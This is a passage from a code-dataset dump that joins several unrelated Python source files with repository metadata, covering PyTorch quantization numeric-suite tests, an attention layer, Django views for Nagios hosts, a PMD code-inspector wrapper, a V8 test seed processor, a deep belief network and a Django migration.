= extract_shadow_logger_info( mp_shadows_mq, OutputLogger, 'fp32') self.assertTrue(len(act_compare_dict) == 2) self.assert_ns_compare_dict_valid(act_compare_dict) @skipIfNoFBGEMM def test_int8_shadows_fp32_coverage(self): class M(torch.nn.Module): def __init__(self): super().__init__() self.adaptive_avg_pool = nn.AdaptiveAvgPool2d(1) self.conv = nn.Conv2d(1, 1, 1) def forward(self, x): x = self.adaptive_avg_pool(x) # input qparams of conv will be input qparams of adaptive_avg_pool x = self.conv(x) x = torch.mul(x, x) x = self.conv(x) x = torch.add(x, x) x = F.relu(x) x = self.conv(x) return x m = M().eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} mp = torch.ao.quantization.quantize_fx.prepare_fx(m, qconfig_dict) mp(torch.randn(1, 1, 1, 1)) mq = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) mq_ref = torch.ao.quantization.quantize_fx.convert_fx(copy.deepcopy(mp)) mp_shadows_mq = add_shadow_loggers( 'int8', mq, 'fp32', mp, OutputLogger) mp_shadows_mq(torch.randn(1, 1, 1, 1)) act_compare_dict = extract_shadow_logger_info( mp_shadows_mq, OutputLogger, 'fp32') self.assertTrue(len(act_compare_dict) == 4) self.assert_ns_compare_dict_valid(act_compare_dict) @skipIfNoFBGEMM def test_loggers_preserve_qat_numerics(self): m = nn.Sequential(nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1)) qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} mp = prepare_qat_fx(m, qconfig_dict) mp(torch.randn(1, 1, 1, 1)) mc = convert_fx(copy.deepcopy(mp)) mp.apply(torch.ao.quantization.disable_observer) datum = torch.randn(1, 1, 1, 1) ref_fp32 = mp(datum) ref_int8 = mc(datum) mp_ns, mc_ns = add_loggers('fp32', mp, 'int8', mc, OutputLogger) ref_fp32_ns = mp_ns(datum) ref_int8_ns = mc_ns(datum) self.assertEqual(ref_fp32, ref_fp32_ns) self.assertEqual(ref_int8, ref_int8_ns) @skipIfNoFBGEMM def test_shadow_loggers_preserve_qat_numerics(self): m = nn.Sequential(nn.Conv2d(1, 1, 1), nn.Conv2d(1, 1, 1)) qconfig_dict = {'': torch.ao.quantization.get_default_qat_qconfig('fbgemm')} mp = prepare_qat_fx(m, qconfig_dict) mp(torch.randn(1, 1, 1, 1)) mc = convert_fx(copy.deepcopy(mp)) mp.apply(torch.ao.quantization.disable_observer) datum = torch.randn(1, 1, 1, 1) ref_fp32 = mp(datum) ref_int8 = mc(datum) mc_shadows_mp = add_shadow_loggers('int8', mc, 'fp32', mp, OutputLogger) ref_shadow = mc_shadows_mp(datum) self.assertEqual(ref_fp32, ref_shadow) @unittest.skipIf(not TEST_CUDA, "CUDA unavailable") def test_extract_weights_cuda(self): # Note: this is not using quantization because quantized kernels do not # work on cuda yet. m1 = nn.Sequential(nn.Conv2d(1, 1, 1)).cuda() m2 = nn.Sequential(nn.Conv2d(1, 1, 1)).cuda() results = extract_weights('a', m1, 'b', m2) extend_logger_results_with_comparison( results, 'a', 'b', compute_sqnr, 'sqnr') self.assert_ns_compare_dict_valid(results) @unittest.skipIf(not TEST_CUDA, "CUDA unavailable") def test_add_loggers_cuda(self): # Note: this is not using quantization because quantized kernels do not # work on cuda yet. m1 = nn.Sequential(nn.Conv2d(1, 1, 1)).cuda() m2 = nn.Sequential(nn.Conv2d(1, 1, 1)).cuda() m1_ns, m2_ns = add_loggers('a', m1, 'b', m2, OutputLogger) datum = torch.randn(1, 1, 1, 1) datum = datum.cuda() m1_ns(datum) m2_ns(datum) act_compare_dict = extract_logger_info(m1_ns, m2_ns, OutputLogger, 'b') extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_sqnr, 'sqnr') @unittest.skipIf(not TEST_CUDA, "CUDA unavailable") def test_add_shadow_loggers_cuda(self): # Note: this is not using quantization because quantized kernels do not # work on cuda yet. m1 = nn.Sequential(nn.Conv2d(1, 1, 1)).cuda() m2 = nn.Sequential(nn.Conv2d(1, 1, 1)).cuda() m1_shadows_m2 = add_shadow_loggers('a', m1, 'b', m2, OutputLogger) datum = torch.randn(1, 1, 1, 1) datum = datum.cuda() m1_shadows_m2(datum) act_compare_dict = extract_shadow_logger_info(m1_shadows_m2, OutputLogger, 'b') extend_logger_results_with_comparison( act_compare_dict, 'a', 'b', compute_sqnr, 'sqnr') class TestFXNumericSuiteCoreAPIsModels(FXNumericSuiteQuantizationTestCase): """ Tests numeric suite core APIs on non-toy models. """ @skipIfNoFBGEMM def test_compare_weights_conv(self): test_cases = ( (ConvModel(),), (ConvBnModel(),), (ConvBnReLUModel(),), ) for m, in test_cases: m.eval() self._test_extract_weights(m, results_len=1) @skipIfNoFBGEMM def test_compare_weights_linear(self): test_cases = ( (SingleLayerLinearModel(), None), ( SingleLayerLinearDynamicModel(), {"object_type": [(nn.Linear, default_dynamic_qconfig)]}, ), ) for m, qconfig_dict in test_cases: m.eval() res = self._test_extract_weights( m, results_len=1, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_compare_weights_lstm_dynamic(self): qconfig_dict = {"object_type": [(nn.LSTM, default_dynamic_qconfig)]} m = LSTMwithHiddenDynamicModel().eval() res = self._test_extract_weights( m, results_len=1, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_compare_activations_conv(self): test_cases = ( (ConvModel(),), (ConvBnModel(),), (ConvBnReLUModel(),), ) for m, in test_cases: m.eval() res = self._test_match_activations( m, (torch.randn(1, 3, 4, 4),), results_len=1) @skipIfNoFBGEMM def test_compare_activations_linear(self): test_cases = ( (SingleLayerLinearModel(), None), ( SingleLayerLinearDynamicModel(), {"object_type": [(nn.Linear, default_dynamic_qconfig)]}, ), ) for m, qconfig_dict in test_cases: m.eval() res = self._test_match_activations( m, (torch.randn(5, 5),), results_len=1, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_compare_activations_lstm_dynamic(self): qconfig_dict = {"object_type": [(nn.LSTM, default_dynamic_qconfig)]} m = LSTMwithHiddenDynamicModel().eval() lstm_input = torch.rand((1, 1, 2)) lstm_hidden = (torch.rand(1, 1, 2), torch.rand(1, 1, 2)) # TODO(future PR): enable scripting (quant prepared LSTM not scriptable) res = self._test_match_activations( m, (lstm_input, lstm_hidden), results_len=1, qconfig_dict=qconfig_dict, skip_scripting=True) @skipIfNoFBGEMM def test_compare_shadow_activations_conv(self): test_cases = ( (ConvModel(),), (ConvBnModel(),), (ConvBnReLUModel(),), ) for m, in test_cases: m.eval() res = self._test_match_shadow_activations( m, (torch.randn(1, 3, 4, 4),), results_len=1) @skipIfNoFBGEMM def test_compare_shadow_activations_linear(self): test_cases = ( (SingleLayerLinearModel(), None), ( SingleLayerLinearDynamicModel(), {"object_type": [(nn.Linear, default_dynamic_qconfig)]}, ), ) for m, qconfig_dict in test_cases: m.eval() res = self._test_match_shadow_activations( m, (torch.randn(5, 5),), results_len=1, qconfig_dict=qconfig_dict) @skipIfNoFBGEMM def test_compare_shadow_activations_lstm_dynamic(self): qconfig_dict = {"object_type": [(nn.LSTM, default_dynamic_qconfig)]} m = LSTMwithHiddenDynamicModel().eval() lstm_input = torch.rand((1, 1, 2)) lstm_hidden = (torch.rand(1, 1, 2), torch.rand(1, 1, 2)) # TODO(future PR): enable scripting (quant prepared LSTM not scriptable) res = self._test_match_shadow_activations( m, (lstm_input, lstm_hidden), results_len=1, qconfig_dict=qconfig_dict, skip_scripting=True) @skipIfNoFBGEMM def test_sparsenn_compare_activations(self): for should_log_inputs in (True, False): sparse_nn = SparseNNModel().eval() idx = torch.LongTensor([1, 2, 4, 5, 4, 3, 2, 9]) offsets = torch.LongTensor([0, 4]) x = torch.randn(2, 4) self._test_match_activations( sparse_nn, (idx, offsets, x), results_len=5, should_log_inputs=should_log_inputs) @skipIfNoFBGEMM def test_sparsenn_shadow(self): for should_log_inputs in (True, False): sparse_nn = SparseNNModel().eval() idx = torch.LongTensor([1, 2, 4, 5, 4, 3, 2, 9]) offsets = torch.LongTensor([0, 4]) x = torch.randn(2, 4) self._test_match_shadow_activations( sparse_nn, (idx, offsets, x), results_len=4, should_log_inputs=should_log_inputs) @skip_if_no_torchvision @skipIfNoFBGEMM @unittest.skip("TODO: broken by https://github.com/pytorch/pytorch/pull/61687, will enable later") def test_resnet18(self): import torchvision m = torchvision.models.quantization.resnet18(pretrained=False, quantize=False).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} self._test_match_shadow_activations( m, (torch.randn(1, 3, 224, 224),), qconfig_dict=qconfig_dict, should_log_inputs=False) @skip_if_no_torchvision @skipIfNoFBGEMM @unittest.skip("TODO: broken by https://github.com/pytorch/pytorch/pull/61687, will enable later") def test_mobilenet_v2(self): import torchvision m = torchvision.models.quantization.mobilenet_v2(pretrained=False, quantize=False).eval() qconfig_dict = {'': torch.ao.quantization.default_qconfig} self._test_match_shadow_activations( m, (torch.randn(1, 3, 224, 224),), qconfig_dict=qconfig_dict, should_log_inputs=False)

6841bd4b8edadca1f760c87c33024034cc0bd096

py

Python

neural_sp/models/modules/attention.py

ishine/neural_sp

7995613541d994976b00d80dcc12e2835163acfb

2018-09-17T14:39:34.000Z

2022-03-29T10:48:09.000Z

neural_sp/models/modules/attention.py

ishine/neural_sp

7995613541d994976b00d80dcc12e2835163acfb

2019-04-21T01:44:09.000Z

2022-02-10T02:08:47.000Z

neural_sp/models/modules/attention.py

ishine/neural_sp

7995613541d994976b00d80dcc12e2835163acfb

2019-01-09T02:18:00.000Z

2022-03-29T07:40:08.000Z

# Copyright 2018 Kyoto University (Hirofumi Inaguma) # Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0) """Single-head attention layer.""" import numpy as np import torch import torch.nn as nn class AttentionMechanism(nn.Module): """Single-head attention layer. Args: kdim (int): dimension of key qdim (int): dimension of query atype (str): type of attention mechanisms adim: (int) dimension of attention space sharpening_factor (float): sharpening factor in the softmax layer for attention weights sigmoid_smoothing (bool): replace the softmax layer for attention weights with the sigmoid function conv_out_channels (int): number of channels of conv outputs. This is used for location-based attention. conv_kernel_size (int): size of kernel. This must be the odd number. dropout (float): dropout probability for attention weights lookahead (int): lookahead frames for triggered attention """ def __init__(self, kdim, qdim, adim, atype, sharpening_factor=1, sigmoid_smoothing=False, conv_out_channels=10, conv_kernel_size=201, dropout=0., lookahead=2): super().__init__() assert conv_kernel_size % 2 == 1, "Kernel size should be odd for 'same' conv." self.atype = atype self.adim = adim self.sharpening_factor = sharpening_factor self.sigmoid_smoothing = sigmoid_smoothing self.n_heads = 1 self.lookahead = lookahead self.reset() # attention dropout applied after the softmax layer self.dropout = nn.Dropout(p=dropout) if atype == 'no': raise NotImplementedError # NOTE: sequence-to-sequence without attention (use the last state as a context vector) elif atype in ['add', 'triggered_attention']: self.w_key = nn.Linear(kdim, adim) self.w_query = nn.Linear(qdim, adim, bias=False) self.v = nn.Linear(adim, 1, bias=False) elif atype == 'location': self.w_key = nn.Linear(kdim, adim) self.w_query = nn.Linear(qdim, adim, bias=False) self.w_conv = nn.Linear(conv_out_channels, adim, bias=False) self.conv = nn.Conv2d(in_channels=1, out_channels=conv_out_channels, kernel_size=(1, conv_kernel_size), stride=1, padding=(0, (conv_kernel_size - 1) // 2), bias=False) self.v = nn.Linear(adim, 1, bias=False) elif atype == 'dot': self.w_key = nn.Linear(kdim, adim, bias=False) self.w_query = nn.Linear(qdim, adim, bias=False) elif atype == 'luong_dot': assert kdim == qdim # NOTE: no additional parameters elif atype == 'luong_general': self.w_key = nn.Linear(kdim, qdim, bias=False) elif atype == 'luong_concat': self.w = nn.Linear(kdim + qdim, adim, bias=False) self.v = nn.Linear(adim, 1, bias=False) else: raise ValueError(atype) def reset(self): self.key = None self.mask = None def forward(self, key, value, query, mask=None, aw_prev=None, cache=False, mode='', trigger_points=None, streaming=False): """Forward pass. Args: key (FloatTensor): `[B, klen, kdim]` klens (IntTensor): `[B]` value (FloatTensor): `[B, klen, vdim]` query (FloatTensor): `[B, 1, qdim]` mask (ByteTensor): `[B, qlen, klen]` aw_prev (FloatTensor): `[B, 1 (H), 1 (qlen), klen]` cache (bool): cache key and mask mode: dummy interface for MoChA/MMA trigger_points (IntTensor): `[B]` streaming: dummy interface for streaming attention Returns: cv (FloatTensor): `[B, 1, vdim]` aw (FloatTensor): `[B, 1 (H), 1 (qlen), klen]` attn_state (dict): dummy interface """ bs, klen = key.size()[:2] qlen = query.size(1) attn_state = {} if aw_prev is None: aw_prev = key.new_zeros(bs, 1, klen) else: aw_prev = aw_prev.squeeze(1) # remove head dimension # Pre-computation of encoder-side features for computing scores if self.key is None or not cache: if self.atype in ['add', 'triggered_attention', 'location', 'dot', 'luong_general']: self.key = self.w_key(key) else: self.key = key self.mask = mask if mask is not None: assert self.mask.size() == (bs, 1, klen), (self.mask.size(), (bs, 1, klen)) # for batch beam search decoding if self.key.size(0) != query.size(0): self.key = self.key[0: 1, :, :].repeat([query.size(0), 1, 1]) if self.atype == 'no': raise NotImplementedError elif self.atype in ['add', 'triggered_attention']: tmp = self.key.unsqueeze(1) + self.w_query(query).unsqueeze(2) e = self.v(torch.tanh(tmp)).squeeze(3) elif self.atype == 'location': conv_feat = self.conv(aw_prev.unsqueeze(1)).squeeze(2) # `[B, ch, klen]` conv_feat = conv_feat.transpose(2, 1).contiguous().unsqueeze(1) # `[B, 1, klen, ch]` tmp = self.key.unsqueeze(1) + self.w_query(query).unsqueeze(2) e = self.v(torch.tanh(tmp + self.w_conv(conv_feat))).squeeze(3) elif self.atype == 'dot': e = torch.bmm(self.w_query(query), self.key.transpose(2, 1)) elif self.atype in ['luong_dot', 'luong_general']: e = torch.bmm(query, self.key.transpose(2, 1)) elif self.atype == 'luong_concat': query = query.repeat([1, klen, 1]) e = self.v(torch.tanh(self.w(torch.cat([self.key, query], dim=-1)))).transpose(2, 1) assert e.size() == (bs, qlen, klen), (e.size(), (bs, qlen, klen)) NEG_INF = float(np.finfo(torch.tensor(0, dtype=e.dtype).numpy().dtype).min) # Mask the right part from the trigger point if self.atype == 'triggered_attention': assert trigger_points is not None for b in range(bs): e[b, :, trigger_points[b] + self.lookahead + 1:] = NEG_INF # Compute attention weights, context vector if self.mask is not None: e = e.masked_fill_(self.mask == 0, NEG_INF) if self.sigmoid_smoothing: aw = torch.sigmoid(e) / torch.sigmoid(e).sum(-1).unsqueeze(-1) else: aw = torch.softmax(e * self.sharpening_factor, dim=-1) aw = self.dropout(aw) cv = torch.bmm(aw, value) return cv, aw.unsqueeze(1), attn_state

287962e1d5d953b9ab830ae11eddc68a43bc2963

py

Python

nagios/views.py

Cola20150301/nagios

9a60538705b6d25edea17423c880c61ab43cf8ab

nagios/views.py

Cola20150301/nagios

9a60538705b6d25edea17423c880c61ab43cf8ab

nagios/views.py

Cola20150301/nagios

9a60538705b6d25edea17423c880c61ab43cf8ab

# -*- coding: utf-8 -*- from django.shortcuts import render, HttpResponseRedirect, HttpResponse import json # Create your views here. from common.mymako import render_mako_context from views_main import Nagios from fetch_nagios import FetchNagios def home(request): """ 首页 """ data = FetchNagios().get_host() return render(request, 'nagios/home.html', data) def get_host(request): res = Nagios().get_host_with_nagios() return HttpResponse(res) def add_host(request): if request.method == 'POST': request = request.POST.copy() print request res = Nagios().add_host_with_nagios(request) return HttpResponse(json.dumps(res)) def del_host(request): if request.method == 'POST': print 1 request = request.POST.copy() res = Nagios().del_host_with_nagios(request) return HttpResponse(json.dumps(res))

aa2fe985da4db5dbeb0c5c4bb1b05b5c273297cf

py

Python

hyperstyle/src/python/review/inspectors/pmd/pmd.py

hyperskill/hyperstyle

bf3c6e2dc42290ad27f2d30ce42d84a53241544b

2020-10-05T16:48:11.000Z

2022-03-22T04:15:38.000Z

hyperstyle/src/python/review/inspectors/pmd/pmd.py

hyperskill/hyperstyle

bf3c6e2dc42290ad27f2d30ce42d84a53241544b

2020-10-05T17:01:05.000Z

2022-01-27T12:46:14.000Z

hyperstyle/src/python/review/inspectors/pmd/pmd.py

hyperskill/hyperstyle

bf3c6e2dc42290ad27f2d30ce42d84a53241544b

2021-02-09T09:31:19.000Z

2021-08-13T07:45:51.000Z

import csv import logging import os from pathlib import Path from typing import Any, Dict, List from hyperstyle.src.python.review.application_config import LanguageVersion from hyperstyle.src.python.review.common.file_system import check_set_up_env_variable, new_temp_dir from hyperstyle.src.python.review.common.subprocess_runner import run_in_subprocess from hyperstyle.src.python.review.inspectors.base_inspector import BaseInspector from hyperstyle.src.python.review.inspectors.common import remove_prefix from hyperstyle.src.python.review.inspectors.inspector_type import InspectorType from hyperstyle.src.python.review.inspectors.issue import BaseIssue, CodeIssue, IssueDifficulty, IssueType from hyperstyle.src.python.review.inspectors.pmd.issue_types import PMD_RULE_TO_ISSUE_TYPE logger = logging.getLogger(__name__) PMD_DIRECTORY_ENV = 'PMD_DIRECTORY' check_set_up_env_variable(PMD_DIRECTORY_ENV) PMD_VERSION_ENV = 'PMD_VERSION' check_set_up_env_variable(PMD_VERSION_ENV) PATH_TOOLS_PMD_SHELL_SCRIPT = f'{os.environ[PMD_DIRECTORY_ENV]}/pmd-bin-{os.environ[PMD_VERSION_ENV]}/bin/run.sh' PATH_TOOLS_PMD_FILES = Path(__file__).parent / 'files' PATH_TOOLS_PMD_RULES_SET = PATH_TOOLS_PMD_FILES / 'config.xml' DEFAULT_JAVA_VERSION = LanguageVersion.JAVA_11 class PMDInspector(BaseInspector): inspector_type = InspectorType.PMD def __init__(self): os.chmod(PATH_TOOLS_PMD_SHELL_SCRIPT, 0o777) @classmethod def _create_command(cls, path: Path, output_path: Path, language_version: LanguageVersion, n_cpu: int) -> List[str]: return [ PATH_TOOLS_PMD_SHELL_SCRIPT, 'pmd', '-d', str(path), '-no-cache', '-R', PATH_TOOLS_PMD_RULES_SET, '-language', 'java', '-version', cls._get_java_version(language_version), '-f', 'csv', '-r', str(output_path), '-t', str(n_cpu), ] def inspect(self, path: Path, config: Dict[str, Any]) -> List[BaseIssue]: with new_temp_dir() as temp_dir: output_path = Path(temp_dir / 'out.csv') language_version = config.get('language_version') if language_version is None: logger.info( f"The version of Java is not passed. The version to be used is: {DEFAULT_JAVA_VERSION.value}.", ) language_version = DEFAULT_JAVA_VERSION command = self._create_command(path, output_path, language_version, config['n_cpu']) run_in_subprocess(command) return self.parse_output(output_path) def parse_output(self, output_path: Path) -> List[BaseIssue]: """ Parses the PMD output, which is a csv file, and returns a list of the issues found there. If the passed path is not a file, an empty list is returned. """ if not output_path.is_file(): logger.error('%s: error - no output file' % self.inspector_type.value) return [] with open(str(output_path)) as out_file: reader = csv.DictReader(out_file) return [ CodeIssue( file_path=Path(row['File']), line_no=int(row['Line']), column_no=1, type=self.choose_issue_type(row['Rule']), origin_class=row['Rule'], description=row['Description'], inspector_type=self.inspector_type, difficulty=IssueDifficulty.get_by_issue_type(self.choose_issue_type(row['Rule'])), ) for row in reader] @classmethod def choose_issue_type(cls, rule: str) -> IssueType: """ Defines IssueType by PMD rule name using config. """ issue_type = PMD_RULE_TO_ISSUE_TYPE.get(rule) if not issue_type: logger.warning('%s: %s - unknown rule' % (cls.inspector_type.value, rule)) return IssueType.BEST_PRACTICES return issue_type @staticmethod def _get_java_version(language_version: LanguageVersion) -> str: """ Converts language_version to the version of Java that PMD can work with. For example, java11 will be converted to 11. """ java_version = language_version.value if not language_version.is_java(): logger.warning( f"The version passed is not the Java version. The version to be used is: {DEFAULT_JAVA_VERSION.value}.", ) java_version = DEFAULT_JAVA_VERSION.value return remove_prefix(java_version, "java")

160eac812b9fdd421a7c5104bbcb57320d8dfa62

py

Python

3rdParty/V8/v7.9.317/tools/testrunner/testproc/seed.py

rajeev02101987/arangodb

817e6c04cb82777d266f3b444494140676da98e2

2015-01-01T05:12:40.000Z

2022-03-31T21:39:18.000Z

tools/testrunner/testproc/seed.py

Andrea-MariaDB-2/v8

a0f0ebd7a876e8cb2210115adbfcffe900e99540

2015-01-30T05:33:07.000Z

2022-03-31T16:17:21.000Z

tools/testrunner/testproc/seed.py

Andrea-MariaDB-2/v8

a0f0ebd7a876e8cb2210115adbfcffe900e99540

2015-01-01T15:12:34.000Z

2022-03-28T06:23:41.000Z

# Copyright 2018 the V8 project authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import random from collections import defaultdict from . import base from ..utils import random_utils class SeedProc(base.TestProcProducer): def __init__(self, count, seed=None, parallel_subtests=1): """ Args: count: How many subtests with different seeds to create for each test. 0 means infinite. seed: seed to use. None means random seed for each subtest. parallel_subtests: How many subtest of each test to run at the same time. """ super(SeedProc, self).__init__('Seed') self._count = count self._seed = seed self._last_idx = defaultdict(int) self._todo = defaultdict(int) self._parallel_subtests = parallel_subtests if count: self._parallel_subtests = min(self._parallel_subtests, count) def setup(self, requirement=base.DROP_RESULT): super(SeedProc, self).setup(requirement) # SeedProc is optimized for dropping the result assert requirement == base.DROP_RESULT def _next_test(self, test): is_loaded = False for _ in range(0, self._parallel_subtests): is_loaded |= self._try_send_next_test(test) return is_loaded def _result_for(self, test, subtest, result): self._todo[test.procid] -= 1 if not self._try_send_next_test(test): if not self._todo.get(test.procid): del self._last_idx[test.procid] del self._todo[test.procid] self._send_result(test, None) def _try_send_next_test(self, test): def create_subtest(idx): seed = self._seed or random_utils.random_seed() return self._create_subtest(test, idx, random_seed=seed) num = self._last_idx[test.procid] if not self._count or num < self._count: num += 1 self._todo[test.procid] += 1 self._last_idx[test.procid] = num return self._send_test(create_subtest(num)) return False

32b2d9c80ff1b649d0068bcb9fa2e54813dc500c

py

Python

yadlt/models/rbm_models/dbn.py

Perfect-SoftwareEngineer/Deep-Learning-Tensorflow

b191cd2c8ff9d8cb6e2c6dedcac4483fa7548366

yadlt/models/rbm_models/dbn.py

Perfect-SoftwareEngineer/Deep-Learning-Tensorflow

b191cd2c8ff9d8cb6e2c6dedcac4483fa7548366

yadlt/models/rbm_models/dbn.py

Perfect-SoftwareEngineer/Deep-Learning-Tensorflow

b191cd2c8ff9d8cb6e2c6dedcac4483fa7548366

"""Implementation of Deep Belief Network Model using TensorFlow.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf from yadlt.core import SupervisedModel from yadlt.core import Trainer from yadlt.models.rbm_models import rbm from yadlt.utils import utilities class DeepBeliefNetwork(SupervisedModel): """Implementation of Deep Belief Network for Supervised Learning. The interface of the class is sklearn-like. """ def __init__( self, rbm_layers, name='dbn', do_pretrain=False, rbm_num_epochs=[10], rbm_gibbs_k=[1], rbm_gauss_visible=False, rbm_stddev=0.1, rbm_batch_size=[10], rbm_learning_rate=[0.01], finetune_dropout=1, finetune_loss_func='softmax_cross_entropy', finetune_act_func=tf.nn.sigmoid, finetune_opt='gradient_descent', finetune_learning_rate=0.001, finetune_num_epochs=10, finetune_batch_size=20, verbose=1, momentum=0.5,): """Constructor. :param rbm_layers: list containing the hidden units for each layer :param finetune_loss_func: Loss function for the softmax layer. string, default ['softmax_cross_entropy', 'mean_squared'] :param finetune_dropout: dropout parameter :param finetune_learning_rate: learning rate for the finetuning. float, default 0.001 :param finetune_act_func: activation function for the finetuning phase :param finetune_opt: optimizer for the finetuning phase :param finetune_num_epochs: Number of epochs for the finetuning. int, default 20 :param finetune_batch_size: Size of each mini-batch for the finetuning. int, default 20 :param verbose: Level of verbosity. 0 - silent, 1 - print accuracy. int, default 0 :param do_pretrain: True: uses variables from pretraining, False: initialize new variables. """ SupervisedModel.__init__(self, name) self.momentum = momentum self.do_pretrain = do_pretrain self.layers = rbm_layers self.finetune_act_func = finetune_act_func self.verbose = verbose # Model parameters self.encoding_w_ = [] # list of matrices of encoding weights per layer self.encoding_b_ = [] # list of arrays of encoding biases per layer self.softmax_W = None self.softmax_b = None rbm_params = { 'num_epochs': rbm_num_epochs, 'gibbs_k': rbm_gibbs_k, 'batch_size': rbm_batch_size, 'learning_rate': rbm_learning_rate} for p in rbm_params: if len(rbm_params[p]) != len(rbm_layers): # The current parameter is not specified by the user, # should default it for all the layers rbm_params[p] = [rbm_params[p][0] for _ in rbm_layers] self.rbms = [] self.rbm_graphs = [] for l, layer in enumerate(rbm_layers): rbm_str = 'rbm-' + str(l+1) if l == 0 and rbm_gauss_visible: self.rbms.append( rbm.RBM( name=self.name + '-' + rbm_str, num_hidden=layer, learning_rate=rbm_params['learning_rate'][l], verbose=self.verbose, num_epochs=rbm_params['num_epochs'][l], batch_size=rbm_params['batch_size'][l], gibbs_sampling_steps=rbm_params['gibbs_k'][l], visible_unit_type='gauss', stddev=rbm_stddev)) else: self.rbms.append( rbm.RBM( name=self.name + '-' + rbm_str, num_hidden=layer, learning_rate=rbm_params['learning_rate'][l], verbose=self.verbose, num_epochs=rbm_params['num_epochs'][l], batch_size=rbm_params['batch_size'][l], gibbs_sampling_steps=rbm_params['gibbs_k'][l])) self.rbm_graphs.append(tf.Graph()) def pretrain(self, train_set, validation_set=None): """Perform Unsupervised pretraining of the DBN.""" self.do_pretrain = True def set_params_func(rbmmachine, rbmgraph): params = rbmmachine.get_parameters(graph=rbmgraph) self.encoding_w_.append(params['W']) self.encoding_b_.append(params['bh_']) return SupervisedModel.pretrain_procedure( self, self.rbms, self.rbm_graphs, set_params_func=set_params_func, train_set=train_set, validation_set=validation_set) def _train_model(self, train_set, train_labels, validation_set, validation_labels): """Train the model. :param train_set: training set :param train_labels: training labels :param validation_set: validation set :param validation_labels: validation labels :return: self """ shuff = zip(train_set, train_labels) for i in range(self.num_epochs): np.random.shuffle(shuff) batches = [_ for _ in utilities.gen_batches( shuff, self.batch_size)] for batch in batches: x_batch, y_batch = zip(*batch) self.tf_session.run( self.train_step, feed_dict={ self.input_data: x_batch, self.input_labels: y_batch, self.keep_prob: self.dropout}) if validation_set is not None: feed = {self.input_data: validation_set, self.input_labels: validation_labels, self.keep_prob: 1} self._run_validation_error_and_summaries(i, feed) def build_model(self, n_features, n_classes): """Create the computational graph. This graph is intented to be created for finetuning, i.e. after unsupervised pretraining. :param n_features: Number of features. :param n_classes: number of classes. :return: self """ self._create_placeholders(n_features, n_classes) self._create_variables(n_features) next_train = self._create_encoding_layers() last_out = self._create_last_layer(next_train, n_classes) self._create_cost_function_node(last_out, self.input_labels) self.train_step = Trainer(self.opt, learning_rate=self.learning_rate, momentum=self.momentum).compile(self.cost) self._create_accuracy_test_node() def _create_placeholders(self, n_features, n_classes): """Create the TensorFlow placeholders for the model. :param n_features: number of features of the first layer :param n_classes: number of classes :return: self """ self.input_data = tf.placeholder( tf.float32, [None, n_features], name='x-input') self.input_labels = tf.placeholder( tf.float32, [None, n_classes], name='y-input') self.keep_prob = tf.placeholder(tf.float32, name='keep-probs') def _create_variables(self, n_features): """Create the TensorFlow variables for the model. :param n_features: number of features :return: self """ if self.do_pretrain: self._create_variables_pretrain() else: self._create_variables_no_pretrain(n_features) def _create_variables_no_pretrain(self, n_features): """Create model variables (no previous unsupervised pretraining). :param n_features: number of features :return: self """ self.encoding_w_ = [] self.encoding_b_ = [] for l, layer in enumerate(self.layers): if l == 0: self.encoding_w_.append(tf.Variable(tf.truncated_normal( shape=[n_features, self.layers[l]], stddev=0.1))) self.encoding_b_.append(tf.Variable(tf.constant( 0.1, shape=[self.layers[l]]))) else: self.encoding_w_.append(tf.Variable(tf.truncated_normal( shape=[self.layers[l-1], self.layers[l]], stddev=0.1))) self.encoding_b_.append(tf.Variable(tf.constant( 0.1, shape=[self.layers[l]]))) def _create_variables_pretrain(self): """Create model variables (previous unsupervised pretraining). :return: self """ for l, layer in enumerate(self.layers): self.encoding_w_[l] = tf.Variable( self.encoding_w_[l], name='enc-w-{}'.format(l)) self.encoding_b_[l] = tf.Variable( self.encoding_b_[l], name='enc-b-{}'.format(l)) def _create_encoding_layers(self): """Create the encoding layers for supervised finetuning. :return: output of the final encoding layer. """ next_train = self.input_data self.layer_nodes = [] for l, layer in enumerate(self.layers): with tf.name_scope("encode-{}".format(l)): y_act = tf.add( tf.matmul(next_train, self.encoding_w_[l]), self.encoding_b_[l] ) if self.finetune_act_func: layer_y = self.finetune_act_func(y_act) else: layer_y = None # the input to the next layer is the output of this layer next_train = tf.nn.dropout(layer_y, self.keep_prob) self.layer_nodes.append(next_train) return next_train

5b213703e459353de060af515445d270e2c4de15

py

Python

apps/characters/migrations/0011_auto_20210805_1121.py

lucasjaroszewski/incremental-game

bae8823f986be0fd046bd50195d43fbc548fad90

apps/characters/migrations/0011_auto_20210805_1121.py

lucasjaroszewski/incremental-game

bae8823f986be0fd046bd50195d43fbc548fad90

2021-06-09T17:54:51.000Z

2022-03-12T00:46:49.000Z

apps/characters/migrations/0011_auto_20210805_1121.py

lucasjaroszewski/incremental-game

bae8823f986be0fd046bd50195d43fbc548fad90

2020-09-27T18:26:15.000Z

2020-09-27T18:26:15.000Z

# Generated by Django 3.1.2 on 2021-08-05 14:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('characters', '0010_character_dungeon'), ] operations = [ migrations.AddField( model_name='character', name='icon', field=models.CharField(default='', help_text='Icon URL', max_length=255), ), migrations.AlterField( model_name='character', name='image', field=models.CharField(default='', help_text='Image URL', max_length=255), ), ]

6ef1794adad2e16f95309d0afebcfaf150bd46be

py

Python

corehq/apps/commtrack/views.py

dborowiecki/commcare-hq

f2f4fa67faec09040a98502f5657444075b63f2e

corehq/apps/commtrack/views.py

dborowiecki/commcare-hq

f2f4fa67faec09040a98502f5657444075b63f2e

corehq/apps/commtrack/views.py

dborowiecki/commcare-hq

f2f4fa67faec09040a98502f5657444075b63f2e

